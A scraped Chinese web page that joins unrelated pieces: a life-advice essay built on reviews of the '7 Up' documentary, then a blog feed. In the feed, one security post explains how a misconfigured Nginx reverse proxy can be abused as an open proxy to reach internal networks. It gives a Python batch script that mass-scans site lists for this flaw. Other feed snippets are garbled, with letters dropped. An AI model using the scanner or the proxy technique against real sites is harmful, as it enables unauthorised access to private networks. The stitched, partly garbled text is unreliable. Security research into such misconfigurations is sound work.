归根结底，那些答案里讲的年轻人都是扛不住欲望的诱惑，对自己的身体又看得轻贱，最终染上了艾滋、毒瘾、赌瘾，或者陷入了对快钱的渴望，走上了不归之路。
另一件一定要做的事就是对身体、健康的管理，说白了就是运动控制体形、控制饮食。因为不运动的胖人跟常运动的瘦人的工作、生活状态真心不一样。
你连自己的体重都控制不了，谈何控制人生？这样说不是没有道理，《穷人与富人的人生七年》里的精英阶层 Andrew 和 Jone 在 56 岁时还保持着较好的体型；属于中产阶级的公务员 Peter 夫妇身材也较好；但是底层阶级的男主们和他们的妻子就基本都肥胖臃肿、秃顶严重，他们有好几个在年轻时都是非常帅气英俊的。
优秀的家庭背景不仅仅代表着更丰富的资源，重要的是会传递给孩子优良的生活和自我管理习惯。这些孩子在自我管理、抵抗诱惑的时候会更加有毅力，会更加自律自强。
年轻人一定要好好规划自己的健身和欲望管理计划，前者是为了让你更好的工作和享受生活，让你有更强的毅力和活力，后者是为了让你不至于因为一时的欲望，毁掉要用一辈子的身体。
建议：
（1）性、快钱、美食，谁都想要，可是你一定要想清楚自己是要一时的快感还是长期的成长。这样的纠结可能会伴随人一辈子，但是只要选错一次就是深渊。
（2）千万不要接近毒品、赌博、嫖娼的人，这些人在长期跟自己思想斗争的过程中坚定地认为自己是对的，如果你接近他们，就会有机会被拖下水。知乎上讲了一个女孩子为了挽救吸毒的男友，被拉下水吸毒，让人不胜唏嘘。
（3）放弃那些吃了会让你难受的食物，尽可能远离高油、高糖、刺激的食物。
（4）制定长期的健身计划，尽可能的花钱请私教，特别是如果你坚持不下来，就让私教督促你。胖子和瘦子，特别是身材好的人的人生体验真心不一样。
3、刻意学习与练习的规划
大家都知道学习和练习的重要性。但是绝大多数人都是非常泛泛且缺乏体系、没有重点的学习。这种学习好像在浇田时用大水漫灌，事倍功半。
很多人就是推崇这种空有“努力”的学习源于美国作家格莱德威尔曾经提出的一个非常知名的 1 万小时定律：想要从一个普通人成长为该领域的专家，至少需要 1 万小时的练习（按每天工作 8 小时，一周五天，大约要五年）。
可从业超过五年甚至十年的程序员多了去了，有几个成了比尔·盖茨、扎克伯格？
大水漫灌式的学习、练习，远远不如喷灌、滴灌式的刻意练习、学习来的高效。
这种刻意学习需要你在对自身问题有深刻了解的情况下，通过实践不断地加深对自己和所处领域的认知，同时不断的接收来自别人的反馈（可以主动询问比你优秀、厉害的大牛），规划自己的学习计划。
我们这里可以引入“改善率”的概念，即重要的不是你学习了多少新东西，而是你改正了多少错误，弥补了多少短板，根据你的需要学习了多少新东西。
亿万富翁马克·安德森曾在谈到扎克伯格时说：如果你有机会同扎克伯格这样伟大的 CEO 待在一起，你就会发现，其实他们每个人都是百科全书式的专家，他们对本行业或者对其他领域都有很深的了解，这些都是通过刻意学习、训练得来的。
要取得成功，重要的是“改善率”，有针对性的解决自己的问题，有重点地了解相应的知识，而非宽泛的学习。
建议：
（1）尽可能多的阅读行业报告、公司财报，对相关领域有通盘了解，知道自己需要了解但不了解什么，有针对性的学习、练习。
（2）每周定期自我总结，不管是工作上的还是生活上的，要敢于发现自己的问题，然后想尽一切办法改正。
（3）找一个段位比自己高且愿意帮助自己的人做自己的导师，并建立相应的反馈机制，多多听取对方的意见。有句话很好：迷茫时不要求助于最亲近的人，找身边最有智慧的人。
4、对家庭的规划
除了我们自己的身体之外，能够陪伴我们最久，给予我们最大支持的就是我们的家庭了。就像豆瓣网友“菜”说的：一生中跟我们有密切联系的人应该不会超过 100 个人，甚至 30 - 60 人这个数量级别都是正常的，亲人就是其中最密切的人之一。
有很多人可能根本没有意识到家庭对人的影响有多大：电影里一个叫 Sue 的女孩，离婚后自己带着孩子生活，经历了一段人生低谷，后来再婚后夫妻生活很和谐，事业和生活也渐渐有了起色。
另一个女孩则嫁了两次离了两次，生下的几个孩子也都因为种种原因没有上大学，自己身体不好还遭遇了一系列的情感打击，一直只能靠救济金过活。
其实不仅仅女人是这样，男人找到一个好的妻子对人生的改变也是及其显著的。女人找老公是托付终生，男人找老婆又何尝不是呢？
美国作家约翰·威廉斯的小说《斯通纳》中的主人公威廉斯·斯通纳就是一个很鲜明的例子。作为大学老师，本来还算是年轻有为的他，因为跟妻子之间贯穿始终的冷漠，在妻子压力下跟他疏离的女儿，活力全无的家庭耗尽了他对生活的最后一丝激情，最终只好孤独的面对死亡。
一段糟糕的婚姻牵扯甚广，能够影响你的心情、事业、父母、生活，而且即便是你遇到了下一份感情，你也要费心费力的处理上一段的遗留问题，而且如果已经有了孩子，还要应付你失败的婚姻给孩子带来的伤害。
所以，在选择另一半成就你的家庭时一定要慎之又慎，要仔细地考虑什么对你是最好的，什么是对你的另一半最好的。在处理感情问题时，也可以适当的学一些技巧，避免因为自己没有处理矛盾的经验伤害了自己珍惜的感情。
建议：
（1）找一个能聊的来、有共同志向，能够互相包容的另一半，在一起的时候相互珍惜，别“作”。
（2）要尊重（自尊和尊重别人），要理解，要平等，需要跪舔的不是爱情，更不会长久。
（3）最多生两个孩子，要知道你的人生也属于你自己，不要把一辈子都放在孩子身上。
（4）尽可能多挣钱提高生活水平，比如做斜杠青年，如果不行，量入为出。
（5）学会攒钱、理财、买保险。
总之，有些人生规划还是越早做越好，很多时候当你醒悟过来，到底是什么把你和别人区分开来的时候，你往往已经没有追赶的余地了。
关于《人生七年》
《人生七年》（英文原名《7 up》）由迈克尔·艾普特执导，Bruce Balden、Jacqueline Bassett、Symon Basterfield 等出演的一部由 ITV 出品的纪录片。
迈克尔·艾普特从 1964 年开始拍摄的纪录片系列的第一部。
迈克尔·艾普特在 1964 年为英国 BBC 电视台拍摄了记录片《7 Up》，采访来自英国不同阶层的十四个七岁的小孩子，他们有的来自孤儿院，有的是上层社会的小孩。
此后每隔七年，艾普特都会重新采访当年的这些孩子，倾听他们的梦想，畅谈他们的生活。四十九岁知天命，看尽岁月流逝，看穿沧海桑田。
本片综合了被访者七岁、十四岁、二十一岁、二十八岁、三十五岁、四十二岁、四十九岁及五十六岁多年的访问精华。
《人生七年》荣获2006年英国电影学院奖和金卫星奖提名。
剧情简介
人生七年，又称 7 up ，是一部由 ITV 出品的纪录片，于 1964 年开始记录 14 位英国的七岁儿童的生活，到目前为止，该纪录片已经跨越 49 年（每 7 年一集）并在 ITV 和 BBC 播出。
2005 年英国第四台将该系列纳入最伟大的 50 部纪录片名单中。
被选中的孩子们代表了当时英国不同社会经济背景的阶层，并做出了明确的假设，即每个孩子的社会阶级预先决定了他们的未来。
每隔 7 年导演迈克尔·艾普特从 14 位参与拍摄的参与者生活中取材。
该系列的目的是按当初 7 Up 中的“我们把这些孩子们聚到一起，因为我们想在 2000 年时看看英格兰的一个缩影，2000 年时的工人和主管，现在都只有七岁。”
精华影评
以下内容摘录自：我是如何看完纪录片《人生7年》的？（附精华总结）
前言
兄弟偶然的介绍，然后这两天我一口气看完这部纪录片，接着立刻搜刮了豆瓣和知乎上所有精华的影评及文章，总计17个文档，来自数十个影评和知乎分享作者，总计155216字，然后分21个层面浓缩成最后这篇5849字的文章。
关于人生我们总是有那么多困惑、迷茫，尤其是做选择的时候，这也是为什么我花那么多时间来整理的原因；
不管你现在处于什么年龄段，我希望以后少点烦恼，面对机会，多一点选择的空间，这就是我想要的；
每一条放在某一个人身上都是血淋淋的教训，也是数十位作者的荟萃，所以如果有心请先看完纪录片再回来看，那时候你感受到的就不会是鸡汤，而是具体的行动指南和指引；
整个纪录片像是一面大海，看起来很平淡，里面却是暗潮涌动。
一、关于人物
1.John
21岁时的观点：人们总以为他们这个阶层的人生就是顺风顺水，想去哪所学校读书就去哪所学校，一看起来都是那么的顺理成章。
但是人们并没有看到那些挑灯夜战的日子，那些刻苦努力的日子。
这是社会对他们的误解。
真的唯有努力，才能让这一切看起来毫不费力。
2.Tony
尽管出身贫苦，但他永远乐观坚强，永远对生活有激情。
有敢想敢做的性格（导演问，但是你没有成功呀，他说至少我都试过了。），没有眼高手低，去幻想那些自己遥不可及的高度，一切的“我想”都是在合理的范围内。
21岁意识到自己不适合骑师，放弃了，去学出租车，后来如愿成为出租车司机。
但问到他人生最开心的时刻，还是当骑师的时候和自己的偶像同场竞技，那种骄傲，那种满足，尽管没能做出成就，但是感激曾经拥有。
一个人对于自己生活有一个美好愿景是多么重要的一件事。
这个参数直接决定了人生轨迹，它甚至不和其他参数相关，它单纯地决定了他们的人生之路。
3.Bruce
小天使，虔诚的基督徒，家境很好。
很单纯，没有偏见，乐于付出，生活简单幸福。
4.John
典型精英阶层子弟，一路私立学校，牛津读的法律，后来去了法庭，娶的是前保加利亚大使的女儿，他自己的曾祖父就曾是保加利亚首相，可见背景之雄厚。
他一直拥有的是一种经典而高贵的贵族思维，就是自己确实比别人拥有更多，但就是要承担更多责任，就是要凭着自己的背景和能力对社会做更多的贡献。
5.Andrew
与John类似，精英阶层子弟的道路看起来确实一帆风顺，他也对阶级没有太多看法，只是觉得，家里能给孩子的，最重要的还是好的教育，好的教育没人能夺走。
6.Neil
正是因为在年轻时候就自缚双手，Neil才失去了和他人、这个社会、这个世界的联系，一生在物质上、精神上、感情上都陷入了孤立无援的状态。
在21岁的时候他说自己的人生太缺少障碍，我理解他也希望自己能坚强地忠于自己的愿景，但他没有做到。
他本有很多机会，但他太轻易就放弃了。
二、关于阶级
1.想要改变自己的阶级，从影片中展现出来的似乎只有从好好读书来实现了（现在中国的真实写照）。
幸运的是在我们国家，现在这个时代，中下阶级正面临着频繁快速的洗牌，如果勤快一点，机灵一点，我们这一代跨越阶级是可以实现的，尤其是从一无所有到略有田产，再下一代，就需要我们这代来引导教育和看他们自己的命运了。
普通阶层的孩子大多没有上大学，工薪阶层，结婚很早，人生很早就固定在了普通阶层中，甚至他们的孩子也很少有上大学的，人生轨迹与他们并没有太大不同；
而精英阶层，从小的道路非常清晰，一步一步，名校毕业，踏入律师之类的职业，孩子也是名校，就算年轻的时候彷徨过，优越的背景也使他们彷徨之后依然有机会重新回归富裕的生活。
2.人生要过得怎么样，出身决定了起点，但绝不决定你的终点，过程看个人，抛开家庭背景、父母这些先天、个人无法改变的因素，你尽自己个人的力量走了多远，超越了你原有的阶层多远。
3.如何做好现在的自己才是我们应该考虑的事情，毕竟出身不可选择。
4.身处什么样的阶层就选择什么样的生活，可以努力，但不要强求。只追求属于你自己的生活。
5.精英阶层固然生活更舒适，但是社会对他们的期望值也更高，所以他们和梦想的相对距离，和底层与梦想的相对距离其实是一样的。
三、关于亲情
28－35岁之间，好几位都承受了父亲或母亲去世的痛苦。为了不在未来后悔，还是请抽时间多和父母说说话，多陪伴他们。
四、关于观念
1.没有任何一个人能完全站在他人的角度体会别人的人生。所以，请不要轻易对别人的人生下定义下结论。
2.不要妄想冻结时间。没有人能抵抗时间的流逝。
3.我最大的错误在于忽视了现实的复杂性，肤浅的认知和自不量力地扮演“上帝”的角色，对他人的生活做出评判。我相信这也是很多人犯的错误，我们不能仅仅就凭一些片段就武断地做出评价、给别人的人生下了定义，这是对他人人生的一种不尊敬，反过来会换来别人对自己人生的不尊重。看完影片后，脑中闪出这么一句话：最终能对你的人生做出总评的人还是你自己。
4.可是就中国而言，对大学教育真的很失望，抛开教育，可能更多的还是需要个人努力，永远不要停止学习，永远不要抛弃对世界的好奇心。
五、关于教育
1.如果没有机会接受高大上的学校教育，那么进入社会以后，就积极接受社会所带来的教育，保持上进学习的态度，乐于实践，为自己想要的生活而努力。
2.Andrew的那句“人无法确定能留给下一代什么财物，但至少可以确定，一旦给了他们好的教育，他们终生都可以受用”
3.不同人之间的差异又在很大程度上由教育程度和教育经历的不同塑造。因此如果非要说有什么促进社会公平的良药，那么教育定当是第一位。
六、关于健康
1.身体是最大的本钱，积极的运动，锻炼身体，合理饮食，保持健康的体魄。
2.光生活在有钱人的家里，其实还是不够的，还要有足够的教育水平，这样的家庭教育出来的孩子才是真的有教养，有眼光，并且谦虚低调。
3.一个乐观、向上的精神离不开优渥的物质生活基础，同样，优渥的物质生活，需要的是一个健康的体魄。
七、关于家庭
1.一个稳定的家庭环境，不管是小时候与父母组成的家庭，还是长大后自己通过婚姻组成的家庭，真的都太重要了。
2.家族能带给你不一样的背景，不一样的野心和信念，不一样的未来机遇。
3.珍惜身边的人，孝顺父母，包容自己的伴侣，与孩子保持亲密的关系，营造快乐向上的家庭氛围。树欲静而风不止，子欲养而亲不待。
4.孩子的成长不是学校的事，不是孩子一个人的事，而是一个家庭的事，良好的生活习惯，做人道理，坚强的意志，这些都是要靠父母去培养的。
5.父母能给子女最好的成长礼物是陪伴。
八、关于幸福
1.大家幸福的来源很大部分源于家庭，源于承担责任。而更多人的更大满足感，源于付出，源于奉献。
2.对一个人来说，最大的幸福就是自己和家人健康，婚姻幸福，儿孙满堂。在这个基本幸福之外，有野心的人期待着实现更大的自我价值，惠及他人。幸福的生活都相似，不幸的生活，各有各的不幸。
3.一个人幸福不幸福，不仅仅在于事业上是否取得了成功，而在于是否有陪伴自己的家人。
4.生活就像一盒巧克力，你永远不知道下一颗是什么，但是千万别失望，最好的总会到来。以及所谓的成功幸福根本没有量化的标准。
5.人们总是倾向于追求“别处的风景”，却常常在失去了熟悉事物的时候才追溯它的美好。
6.幸福也许只是一种态度。
7.幸福就是你的能力大于你的欲望。就是如果你能让自己过上比你预期好的生活，你就会幸福。比如你一个月能挣10000，但是你对生活的预期就是1000的预期，那你就幸福。如果你一个月挣1000，但是你对生活的预期只有10，那你也幸福。如果你能挣10000，但是你的预期是100000，那你就不幸福了。
8.至于金钱是否能让人生活的幸福一事，我是这么认为的：并不是钱越多就一定越幸福，但是钱少大多数不幸福。在一定的范围之内，钱越多越幸福。超过一定数值，幸福和钱多少关系不太大，
九、关于资源
1.80%的富人阶级的孩子能够打好手上的一副好牌，懂得把握自己拥有的机会，相对轻松地实现自己的梦想，其余20%却浑浑噩噩，浪费一手好牌，沦为浪荡的败家子；20%的穷人阶级的孩子意识到上进的重要性，刻苦努力希望打破阶级壁垒，其余80%却只能平平淡淡的讨生活，活在自己的小格局里。
2.世界上真正的赢家往往是那些拥有更多资源的人。这是一条残酷的法则。但不得不承认，这就是现实。
3.家庭出身好的人，他们往往很早就领悟到自己人生的使命。
4.恰如“马太效应”，强者会拥有更多的资源，则愈加强大；而弱者却面临资源的稀缺，则愈加弱小。这些资源中尤为明显的是“教育资源”，同样7岁的孩子，有孩子在读金融时报，有孩子却只求在福利院中不再挨打；
案例：聊到关于高考的话题，我说：“怪不得你高中压力那么大，毕竟从小到大，你的家庭给你提供了最优秀的社会资源，你没有理由考的差。”在同一个尺杆下，我们都有跳过1米5的能力，但是种种原因，你比我的起点高了30公分，你的梦想可以是跳过1米8，我的梦想只能是跳过1米5。如果我和你付出同样的汗水，我永远无法超越你。如果你和我付出同样的汗水，你取得的成绩也不配嘲笑我，当你在嘲笑别人的时候，你也会惊愕，原来有的人起点就是1米8。
十、关于爱情
1.永远对爱情抱有希望，永远不要觉得自己等不来一个对的人。
2.我想到了最浪漫的事就是和你一起慢慢变老；
3.任何一段long relationship，势必都需要足够多的tolerance和inclusiveness，让彼此成为最适合的那个人吧，任何一方放弃努力，那么就没有办法work out。而像经历了37年婚姻的Lynn说的那样，好的关系是“两个人一起成长”。
十一、关于选择
1.人生真的有很多可能性，各不相同，就像一首诗里提到的丛林里的两条路。人生对于很多人来说，就是很多条路，但又似乎有注定的轨迹。这一切在于你的选择，残酷的地方在于，你只能选择其中的一种。所以该好好问问自己，什么是自己真正想要的。
2.就算每个人的背景、环境、性格千差万别，生活其实永远有无限种展开的方式，并且很大一部分取决于自己的选择。你想要成为一个什么样的人。你想要过一个什么样的生活。我们现在走的每一步，正是过去无数步累积而成的结果。不能回头，所以请对自己的选择负责。
3.选择权永远在于你自己，无论是情绪，还是困惑，无论是困难还是，工作还是未来，你永远有更好选择，懒，本身也是你，另外一个选择罢了，既然选择了，就要承受责任，选择以后带来的后果。
4.不论什么时候，你感觉迷茫，不知道该怎么办，该做什么时候，就坐下来和自己内心谈谈，问问内心那个自己到底要去做什么，然后去做！
5.当你有了钱，你就有更多的机会去接触更多的可能性，然后选择你最喜欢的一种方式，沙滩晒太阳只是其中的一种而已。如果你没有见过世面，那在你的世界里，就只有晒太阳。
十二、关于成长
1.年轻时，当生活中有变故时，当遭受巨大打击时，一定要顶住，否则一辈子的命运可能就会急转直下。Neil就是例子。
2.还是要靠自己的信念，想通了也就那么回事。
3.生活是自己过的，真当生活过不下去的时候自然会改变；路是自己走的，真当走不下去的时候自然会拐弯，何必总是听外人指手划脚。生活面前，谁都不会是备胎。
4.现在有人说，你连自己的体重都控制不了，你连冬天早晨起床都起不了，你如何能有毅力去控制人生呢？
5.其实人没有自己想象的那么强也没有自己想象的那么弱。最终大家都会适应环境。“原来河水既不像老牛说的那么浅，也不像小松鼠说的那么深。”
6.我们一直活得很忙碌，忙到从来没有仔细的审视他人和自己的一生，但凡听过的以一生为周期的故事，要么是名人列传，要么是传说故事，却从没一个属于我们身边这样的一些平凡人的。突然的改变，不多。不过循序渐进的变化，是有可能的。想要得到更好的生活，需要努力，需要辛苦付出。
7.成长，就是承担责任的过程。
8.尽可能每一天都活得像一张白纸。
十三、关于婚姻
1.不要生太多孩子，结婚前要看对人，不要眼高手低，不要肥胖。
2.过早结婚现在看来还是有很多弊端的，当一个人的价值观还未完全形成，且拥有的资本还不足以支撑一个家庭的时候，结婚固然是稳定了下来，但也同时成为了年轻人的一个羁绊，而有了小孩就必须花费更多的精力去抚养他们，在20几岁这个需要拼搏的年纪里，就更难平衡家庭和事业。
3.那些结婚的人基本都是找的是门当户对阶级的人，这很正常，一个人在自己所属的阶级里有更广泛的人群交集和价值共鸣。
十四、关于工作
1.工作不仅在金钱上会给人保障以建立良好的物质基础，也能增加人的自我价值感。
2.工作就是在处理我与自己的关系。通过工作，能够养活自己和家人、能够培养自信、能够证明自我价值，如果在工作上无法做到以上几点，那就要像片中人那样甘于现状，从别处去找；如果现在的工作能够有所发展，就要积极去学习、提高，去增加自己挣钱技能，去寻找工作的价值和意义。
3.一个人要有一个贯穿一生的职业，否则只能换零工做苦力一辈子。
十五、关于人生
1.阅读人生，总让人唏嘘不已，很恐怖的是，人生的每一个七年，都会改变一个人，也有许多人不会被改变。
2.人生无非就三件事：多于少、苦与乐、生与死。
3.在人生这场长跑中，你能够过得如何，跑得多远，应该是无数个XXX慢慢累积起来的，并非一蹴而就。
4.在既定已有的环境活出最好的自己才是成功。
5.机会成本只有一件，就是时间。
6.天赋比你好固然可怕，更可怕的是天赋好的人比你还努力。
7.《人生七年》和《浮生一日》给我们一个机会，让我们跳出自己的生活，以一个局外人的身份，看看我们身处的世界。
8.你看的越广，你选择就越广。你看的越高，你势必更容易攀上高峰。
9.过往已经无法改变，趁年轻，去更多的地方，开拓自己的眼界。无需强求，尽力就好。
10.人生对待你的态度很大程度反应的是你对待人生的态度。
案例：因为最近正好有位亲戚来北京找工作，跟他聊天的时候，发现他没有明确的目标。想找份稳定而又收入不错的工作，却发现没有一技之长，很被动。做生意，也没有经验。这样辗转反复，只能黯然离京。我在送他走的时候，说道，希望你能给自己设定个目标，然后朝着目标努力。不知道，他能否可以从这次进京的失败经历中悟到一些道理。
体会：人生不管出身如何，个人对自己人生的清晰的目标至关重要。有目标，按部就班，生活不会差到哪里去。
十六、关于性格
除了母体的家庭环境，性格是重塑人生的最重要的一张牌。
十七、关于规划
人生的规划很重要。什么样的年纪就应该做相应的事情。好好读书的时候就好好读书，而不是过早的辍学去打工，过早结婚生子；该谈恋爱，结婚的时候就该认真的寻找自己的伴侣；
十八、关于精神世界
培养自己的正能量，积极的自我暗示，学会感恩，乐于付出，做一些有社会价值的事情，充实自己的精神世界。
十九、关于修养
1.注意你的想法，因为它能决定你的言辞。注意你的言辞，因为它能主导你的行为。注意你的行为，因为它能变成你的习惯。注意你的习惯，因为它能塑造你的性格。注意你的性格，因为它决定你的命运。
2.一个人无论成绩好坏与否，品行是关键！道德可以弥补能力的缺陷，而能力却难以掩盖道德的缺陷。
3.要做一个认真的人，一个真诚的人。
二十、关于经历
童年时期的经历会对人产生深厚的影响。
二十一、关于财富（思维）
穷人的孩子普遍认为：钱够用就行，要能够维持生活。
富人的孩子普遍希望：不要迫于生计，要有足够的金钱，这样才能做自己喜欢做的事情。
所有的伟大都只源于，一个勇敢的开始，
穷人之所以是穷人，其中一个主要的原因就是他们只嫉妒富人的财富，却很少去思考富人是如何成为富人的。
相关影片
《飞越疯人院》One Flew Over the Cuckoo’s Nest (1975)
据报道，受本片影响，一位名叫Sue Williams的女导演正在拍摄试图反映中国人生变化的纪录片Making It。该项目将于2020年结束。据说2008年奥运会之前该片已经播出一部分。不知能否看到，是什么角度。这一类跨越漫长时空的纪录片现在有个名称，叫“经度纪录片”longitudinal documentaries，也许真的如某些媒体所说，这种拍摄是对电影形式一种最高尚的运用。
关于《人生规划》
25岁前，一定要完成哪些人生规划？
然而现实却是，大部分人 24 岁都刚刚大学毕业，对社会、对人生有个鸡毛认识、能规划个锤子……
底层穷人都在还生存的温饱线上挣扎，何谈规划？
阶级起跑线差距悬殊，寒门再难出贵子。（做电子货币、做黑产、做各类灰色收入一夜暴富的大佬当我没说……）
关于《命运规划局》
对命运的解答，对爱情的定义。
人生是一个容器，要达到“满足”的心理状态，并非只有一种途径，可以是爱情，事业，家庭，或者别的什么。
所谓的规划，不就是我们的人生理想。
而所谓的后果，不就是热血腾沸之后的归于平淡。
如果你知道自己的理想有实现的一天，你还会选择平淡么。充满激情的跌宕人生，果真是你真正想要的么。
关于结论、关于很多
何谓规划？何谓人生？何谓生死？
人生没有对错，只有选择。
人生没有标准答案，成功的标准不适合每一个人。
相关影视
人生七年10 70 Up (2026)，我们还能等得到么？
《飞越疯人院》One Flew Over the Cuckoo’s Nest (1975)
《这个男人来自地球》The Man from Earth (2007)
- 博客 Randy's Blog 2018-09-14 08:00:001858
- 博客 Vulkey_Chen's Blog 2018-09-11 00:00:00
从偶然出发
在做测试的时候发现了这样一个漏洞，原请求报文如下：
GET / HTTP/1.1 Host: attack_website [... HEADER ...] ...当时最初目的是想测SSRF的，但是经过测试没发现存在漏洞后来想起之前看过的一些漏洞案例，将请求报文中的URI部分替换成了网址：
http://gh0st.cn
就变成了如下的请求：
GET http://gh0st.cn HTTP/1.1 Host: attack_website [... HEADER ...] ...在BurpSuite里进行重放测试发现返回的响应正文就是 http://gh0st.cn 的，也就是说这里的attack_website可以被作为HTTP代理，于是进入下一步的测试能否使用非http/https协议进行请求？例如file:///，测试后发现确实没办法这样玩，看来是这里代理服务器不支持。
在这里替换URI部分为内网的地址，可以直接漫游内网的系统，进行深入的渗透测试了，后续的事情就不在这多说了，那么来研究看看为什么会有这样的问题呢？
从被动偶然到主动发现
了解原理
查阅了一番资料和询问了一下朋友，都说具体的不太清楚，后来看见这样一篇文章：
https://www.secpulse.com/archives/74676.html
其中所说原理大致是因为Nginx反向代理配置不当导致可以被作为正向代理，导致能被外部作为HTTP代理服务器。
正向代理 and 反向代理
正向代理
- 浏览器（/全局）设置代理服务器IP和对应端口
- 浏览器输入目标地址->代理服务器->目标服务器
简而言之，正向代理类似我们经常用到的跳板机，利用代理去访问外部的资源。
反向代理
跟正代不同的地方在于反向代理相对浏览器来说是透明的，不需要在浏览器（/全局）做什么配置，而是有反向代理服务器自己做请求转发到其服务器上所配置的地址。
大致如下的流程：
- 浏览器访问网站（网站所指即反向代理服务器）
- 网站（反向代理服务器）做处理，将请求转发给所设置的目标服务器
- 由请求最终到达的目标服务器响应给网站（反向代理服务器），然后再通过其返回给浏览器
TIPs：
- 一、反向代理服务器也可以变成WAF（例如Nginx支持反代功能，nginx+lua也可以搭建网站waf）
- 二、反向代理服务器也可以起到负载均衡的作用，由反向代理服务器做选择分配Web服务器
主动发现脚本开发
脚本语言选择：python2.7
系统环境：all
思考
如何判断这个网站存在可以作为HTTP代理访问资源？唯一特征是什么？
脑子中唯一的思路就是IP，如果这目标站点能作为HTTP代理访问资源，那么我设置的这个资源就是返回真实IP的，这样就可以判断了～
这里我在团队官网上小小的写了一个，但是在大批量去测试却无法使用，因为官网的空间没那么大的吞吐量，承载不住高并发，后期建议大家使用 http://httpbin.org/ip 这个接口～
http://www.hi-ourlife.com/getip.php
PHP代码：
<?php echo $_SERVER['REMOTE_ADDR']; ?>代码构建
Import 库
import urllib, sys, re, json全局变量：
poc = "http://www.hi-ourlife.com/getip.php"获取使用代理访问资源后内容（IP）函数：
def useProxy(site): try: res = urllib.urlopen(poc, proxies={'http': site}).read() return res except: return getIP()正常本机获取IP函数：
def getIP(): res = urllib.urlopen(poc).read() return res防止有些会出错返回的内容不是IP，其实返回不是IP也就间接证明不存在这种漏洞，所以需要写个正则来匹配，这时候判断是否是IP的函数就诞生了：
def isIP(ip): compileIP = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$') if compileIP.match(ip): return True else: return False对比IP函数：
def isVul(site): resA = getIP() #print resA resB = useProxy(site) #print resB if resA == resB or not isIP(resB): print "\033[1;33m[INFO]\033[0m No Vulnerability!" else: print "\033[1;31m[INFO]\033[0m Existing Vulnerability!" print "\033[1;36m[INFO]\033[0m Site:[ {0} ] -> RealIP:[ {1} ]".format(site, resB)单线程批量
从扫描器里把代码模板剥离了出来如下：
#-*- coding:utf-8 -*- #Author: Vulkey_Chen import urllib, sys, re poc = "http://www.hi-ourlife.com/getip.php" def useProxy(site): try: res = urllib.urlopen(poc, proxies={'http': site}).read() return res except: return getIP() def getIP(): res = urllib.urlopen(poc).read() return res def getSite(filename): f = open(filename) res = [] for line in f: res.append(line) return res def isIP(ip): compileIP = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$') if compileIP.match(ip): return True else: return False def isVul(site): resA = getIP() #print resA resB = useProxy(site) #print resB if resA == resB or not isIP(resB): print "\033[1;33m[INFO]\033[0m No Vulnerability!" else: print "\033[1;31m[INFO]\033[0m Existing Vulnerability!" print "\033[1;36m[INFO]\033[0m Site:[ {0} ] -> RealIP:[ {1} ]".format(site, resB) def main(filename): for i in getSite(filename): isVul(i.replace("\n","")) if __name__ == '__main__': main(sys.argv[1])
END
使用方法：python proxy_vul.py urls.txt
urls.txt 格式：
http://www.hi-ourlife.com/ https://gh0st.cn/ http://mst.hi-ourlife.com:8080/建议批量方法：
扫描所有想检测站点的web服务端口（Nginx容器存在此类问题居多），然后使用脚本检测。
- 博客 Jiajun的编程随想 2018-09-10 08:00:00《Google Ads使用体验》前段时间闲的蛋疼，就冲了几百块智商税试试Google Ads的效果。于是我选择了系统自动出价，选好关键字之后，一天就把我的钱花完了，于是抱着好奇的态度，再去冲了一些钱，把单次点击最高出价设置成了0.05元每次，然后我的钱现在还在那一分没动...
- 博客 Jiajun的编程随想 2018-09-07 08:00:00《Go的custom import path》什么是 custom import path？就是 `package` 后面的注释，注释的内容是 `// import xxxx`。这就是传说中的 custom import path。例如 `Docker` 中的 [代码](https://github.com/moby/moby/blob/master/daemon/configs.go)...
- 博客 Jiajun的编程随想 2018-09-06 08:00:00《如何挖掘二级子域名？》[DNS](https://zh.wikipedia.org/wiki/%E5%9F%9F%E5%90%8D%E7%B3%BB%E7%BB%9F) 是用来将域名和IP地址相互映射的一个分布式数据库。通常我们打开一个网站的第一步，就是在浏览器里输入 `jiajunhuang.com`，然后浏览器会帮我们填充为 `http://jiajunhuang.com`，暗地里，再加上默认的端口号80，去访问网站，而这一步里进行的操作就包括把 `jiajunhuang.com` 这个域名翻译为具体的IP地址...
- 博客 Jiajun的编程随想 2018-09-03 08:00:00《Go Module 简明教程》用惯了dep，突然换到 `go mod`，真是不习惯。首先我们执行一下看看有什么效果...
- 博客 轶哥博客 2018-09-02 22:22:10<>数天前，为解决微信二维码扫码登陆在Elector跳转处理繁琐的问题，写一个微信开放平台扫码登陆解析处理工具😊，将frame数据处理为图片或Bae64图片数据返回客户端进行扫码。
解决Chrome70中oe.weixi.qq.com腾讯SSL证书不被信任的问题(微信官方于2018年8月23日更换了域名证书)，解决Chrome68中frame跨域被拦截的问题。<>此方案最大特点：扫码登录无跳转 🤠。<>Node.j 版本 Demo：htt://weixi.oeai.ite/demo<>PHP 版本 Demo：htt://aio.xyz/weixi-logi-h/须知
<> 此方案仅适用于微信开放平台-网站应用。 - 博客 Jiajun的编程随想 2018-09-02 08:00:00《写了一个Telegram Bot：自动化分享高质量内容》平时我们读到优秀的资源例如文章，视频或者电子书等等，总是会忍不住收藏起来，但是如果我们能分享出来给所有人看到，那会不会更好呢？所以我做了一个Telegram Bot，平时我只要把阅读到的不错的链接分享给我的bot，然后选择性的添加一些我自己的评语（或者叫推荐...
- 博客 Jiajun的编程随想 2018-09-01 08:00:00《ArchLinux 怎么降级 package ？》今天我照常升级：`pacman -Syyu`。升级之后发现没法儿愉快的ssh登录了，不论是我从host登录到虚拟机，还是从虚拟机登录到远端VPS。首先我做的事情是确认是谁的问题...
- 博客 Jiajun的编程随想 2018-09-01 08:00:00《Vim打开很慢，怎么找出最慢的插件？怎么解决？》很久很久以前，YouCompleteMe还只是一般般的卡，现在，YCM（简称，后同）简直是巨卡，巨卡。仔细分析一下自己用Vim的地方：- 写博客...
- 博客 Jiajun的编程随想 2018-09-01 08:00:00《为什么我选择放弃运营微信公众号？》一个网站其实是需要细心去运营的，尤其对于个人技术博客来说，想要留住用户是非常困难的，作为一个技术博客，尤其如此。通常用户来自于...
